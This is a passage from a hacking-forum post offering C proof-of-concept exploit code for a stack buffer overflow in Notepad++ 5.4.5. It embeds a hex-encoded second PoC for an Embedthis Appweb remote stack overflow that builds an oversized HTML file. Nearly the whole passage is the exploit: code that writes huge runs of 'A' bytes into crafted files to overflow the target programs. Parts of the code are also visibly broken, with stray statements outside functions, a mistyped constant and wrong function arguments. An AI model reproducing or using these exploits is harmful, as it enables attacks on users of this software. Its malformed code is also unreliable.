0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x31,

0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28,

0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74,

0x2C, 0x20, 0x22, 0x5C, 0x5C, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x31, 0x3B, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65,

0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20,

0x68, 0x65, 0x5F, 0x61, 0x64, 0x2C, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x68, 0x65,

0x5F, 0x61, 0x64, 0x29, 0x29, 0x3B, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F,

0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28,

0x68, 0x65, 0x5F, 0x61, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D,

0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B,

0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x22, 0x3E, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B,

0x3D, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63,

0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66,

0x73, 0x65, 0x74, 0x2C, 0x20, 0x22, 0x3C, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x31,

0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28,

0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74,

0x2C, 0x20, 0x62, 0x6F, 0x5F, 0x64, 0x79, 0x2C, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28,

0x62, 0x6F, 0x5F, 0x64, 0x79, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66,

0x28, 0x62, 0x6F, 0x5F, 0x64, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72,

0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x22, 0x3E, 0x22, 0x2C, 0x20, 0x31, 0x29,

0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20,

0x2B, 0x3D, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x69, 0x6E,

0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x68, 0x69, 0x74, 0x5B, 0x5D, 0x20, 0x3D, 0x7B, 0x20, 0x30,

0x78, 0x33, 0x43, 0x2C, 0x30, 0x78, 0x36, 0x39, 0x2C, 0x30, 0x78, 0x36, 0x44, 0x2C, 0x30, 0x78,

0x36, 0x37, 0x2C, 0x30, 0x78, 0x32, 0x30, 0x2C, 0x30, 0x78, 0x37, 0x33, 0x2C, 0x30, 0x78, 0x37,

0x32, 0x2C, 0x30, 0x78, 0x36, 0x33, 0x2C, 0x30, 0x78, 0x33, 0x44, 0x20, 0x7D, 0x3B, 0x0D, 0x0A,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D,

0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x73,

0x68, 0x69, 0x74, 0x2C, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x73, 0x68, 0x69, 0x74,

0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65,

0x74, 0x20, 0x2B, 0x3D, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x73, 0x68, 0x69, 0x74,

0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x73, 0x65, 0x74,

0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65,

0x74, 0x2C, 0x20, 0x30, 0x78, 0x32, 0x32, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x31, 0x3B,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x73, 0x65, 0x74, 0x28, 0x6D,

0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C,

0x20, 0x30, 0x78, 0x34, 0x31, 0x2C, 0x20, 0x34, 0x36, 0x31, 0x36, 0x29, 0x3B, 0x0D, 0x0A, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x34,

0x36, 0x31, 0x36, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x73,

0x65, 0x74, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66,

0x73, 0x65, 0x74, 0x2C, 0x20, 0x30, 0x78, 0x32, 0x32, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20,

0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79,

0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65,

0x74, 0x2C, 0x20, 0x22, 0x3E, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x31, 0x3B, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65,

0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20,

0x22, 0x3C, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75,

0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x22, 0x5C, 0x5C,

0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66,

0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66,

0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x62, 0x6F, 0x5F, 0x64, 0x79,

0x2C, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x62, 0x6F, 0x5F, 0x64, 0x79, 0x29, 0x29,

0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20,

0x2B, 0x3D, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x62, 0x6F, 0x5F, 0x64, 0x79, 0x29,

0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28,

0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74,

0x2C, 0x20, 0x22, 0x3E, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x31, 0x3B, 0x0D, 0x0A,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D,

0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x22,

0x3C, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75,

0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x22, 0x5C, 0x5C,

0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66,

0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66,

0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x68, 0x74, 0x5F, 0x6D, 0x6C,

0x2C, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x68, 0x74, 0x5F, 0x6D, 0x6C, 0x29, 0x29,

0x3B, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74,

0x20, 0x2B, 0x3D, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x68, 0x74, 0x5F, 0x6D, 0x6C,

0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79,

0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65,

0x74, 0x2C, 0x20, 0x22, 0x3E, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x20, 0x20, 0x0D, 0x0A, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x32,

0x3B, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x77, 0x72, 0x69, 0x74, 0x65,

0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2C, 0x20, 0x6F, 0x66, 0x66, 0x73,

0x65, 0x74, 0x20, 0x2C, 0x20, 0x31, 0x2C, 0x20, 0x66, 0x29, 0x3B, 0x20, 0x0D, 0x0A, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x66, 0x77, 0x72, 0x69, 0x74, 0x65, 0x28, 0x22, 0x5C, 0x78, 0x30, 0x30,

0x22, 0x2C, 0x20, 0x31, 0x2C, 0x20, 0x31, 0x2C, 0x20, 0x66, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x66, 0x28, 0x22, 0x46, 0x69, 0x6C, 0x65,

0x20, 0x44, 0x6F, 0x6E, 0x65, 0x21, 0x5C, 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20,

0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x74, 0x20, 0x6D, 0x61, 0x69,

0x6E, 0x28, 0x69, 0x6E, 0x74, 0x20, 0x61, 0x72, 0x67, 0x63, 0x2C, 0x20, 0x63, 0x68, 0x61, 0x72,

0x20, 0x2A, 0x61, 0x72, 0x67, 0x76, 0x5B, 0x5D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x7B,

0x20, 0x20, 0x63, 0x68, 0x61, 0x72, 0x20, 0x2A, 0x66, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20,

0x61, 0x72, 0x67, 0x76, 0x5B, 0x31, 0x5D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x28, 0x22, 0x43, 0x4C, 0x53, 0x22, 0x29, 0x3B, 0x20,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x66,

0x28, 0x73, 0x74, 0x64, 0x6F, 0x75, 0x74, 0x20, 0x2C, 0x20, 0x22, 0x3A, 0x3A, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3A, 0x3A, 0x5C, 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x66, 0x28, 0x73, 0x74,

0x64, 0x6F, 0x75, 0x74, 0x20, 0x2C, 0x20, 0x22, 0x45, 0x6D, 0x62, 0x65, 0x64, 0x74, 0x68, 0x69,

0x73, 0x20, 0x41, 0x70, 0x70, 0x77, 0x65, 0x62, 0x20, 0x52, 0x65, 0x6D, 0x6F, 0x74, 0x65, 0x20,

0x53, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x4F, 0x76, 0x65, 0x72, 0x66, 0x6C, 0x6F, 0x77, 0x20, 0x50,

0x4F, 0x43, 0x5C, 0x6E, 0x22, 0x29, 0x3B, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x66, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x66, 0x28, 0x73, 0x74, 0x64, 0x6F, 0x75, 0x74, 0x20,

0x2C, 0x20, 0x22, 0x41, 0x6C, 0x6C, 0x20, 0x43, 0x72, 0x65, 0x64, 0x69, 0x74, 0x73, 0x3A, 0x66,

0x6C, 0x30, 0x20, 0x66, 0x6C, 0x30, 0x77, 0x5C, 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x66, 0x28, 0x73, 0x74, 0x64,

0x6F, 0x75, 0x74, 0x20, 0x2C, 0x20, 0x22, 0x3A, 0x3A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x3A, 0x3A, 0x5C, 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x69, 0x66, 0x28, 0x61, 0x72, 0x67, 0x63, 0x20, 0x3C, 0x20, 0x32, 0x29, 0x20, 0x7B,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x66, 0x28,

0x22, 0x55, 0x73, 0x61, 0x67, 0x65, 0x20, 0x69, 0x73, 0x20, 0x25, 0x73, 0x20, 0x66, 0x69, 0x6C,

0x65, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x68, 0x74, 0x6D, 0x6C, 0x5C, 0x6E, 0x22, 0x2C, 0x20, 0x61,

0x72, 0x67, 0x76, 0x5B, 0x30, 0x5D, 0x29, 0x3B, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x65, 0x78, 0x69, 0x74, 0x28, 0x2D, 0x31, 0x29, 0x3B, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x46, 0x62, 0x75, 0x69, 0x6C, 0x64, 0x28, 0x66,

0x6E, 0x61, 0x6D, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72,

0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x30, 0x3B, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20,

0x7D, 0x20, 0x20, 0x0D, 0x0A,

} ;

size_t get_executable_path (char* buffer, size_t len)

{

char* path_end;

if (readlink ("/proc/self/exe", buffer, len) <= 0)

return -1;

path_end = strrchr (buffer, '/');

if (path_end == NULL)

return -1;

++path_end;

*path_end = '\0';

return (size_t) (path_end - buffer);

}

#define STRING_SIZE 0xF4240

#define S 0x64

char b[sTRING_SIZE];

memset(b, 0x41, STRING_SIZE);

FILE *f;

f = fopen(fname, "wb");

int i;

for(i = 0; i < S; i++) {

fwrite(b, sizeof(char), STRING_SIZE, f); }

fwrite(V, sizeof(char), strlen(V), f);

checksum(b, STRING_SIZE);

char c[100];

get_executable_path (c, 100);

printf("FILE DONE !\n");

printf("path/location of the crafted file is: %s\n", c);

fclose(f);

}

void args(int argc, char *argv[])

{

int file;

int a;

if(a)

while((a = getopt(argc, argv, "f")) != EOF) {

switch(a) {

case 'f':

file = (int)optarg;

break;

default:

exit(-1);

}

}

}

void Usage(char *argv[])

{ printf("*************************************************\n");

printf("Notepad++ 5.4.5 Stack Buffer Overflow\n");

printf("Usage is:%s [option1] filename\n", argv[0]);

printf("CREDITS:fl0 fl0w\n");

printf("This POC is PRIVATE\n");

printf("*************************************************\n");

}

void Menu(char *argv[])

{ fprintf(stderr,

"\n"

"\t-f FILE.c/cpp\n"

"\n"

,

argv[0]);

exit(-1);

}

int main(int argc, char *argv[])

{ CLS(15);

if(argc < 2) {

Usage(argv);

printf("Example:\n");

Menu(argv[0]);

Usage(argv);

}

args(argc, argv);

Buildfile(argv[2]);

return 0;

}

  • Upvote 1
Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


×
×
  • Create New...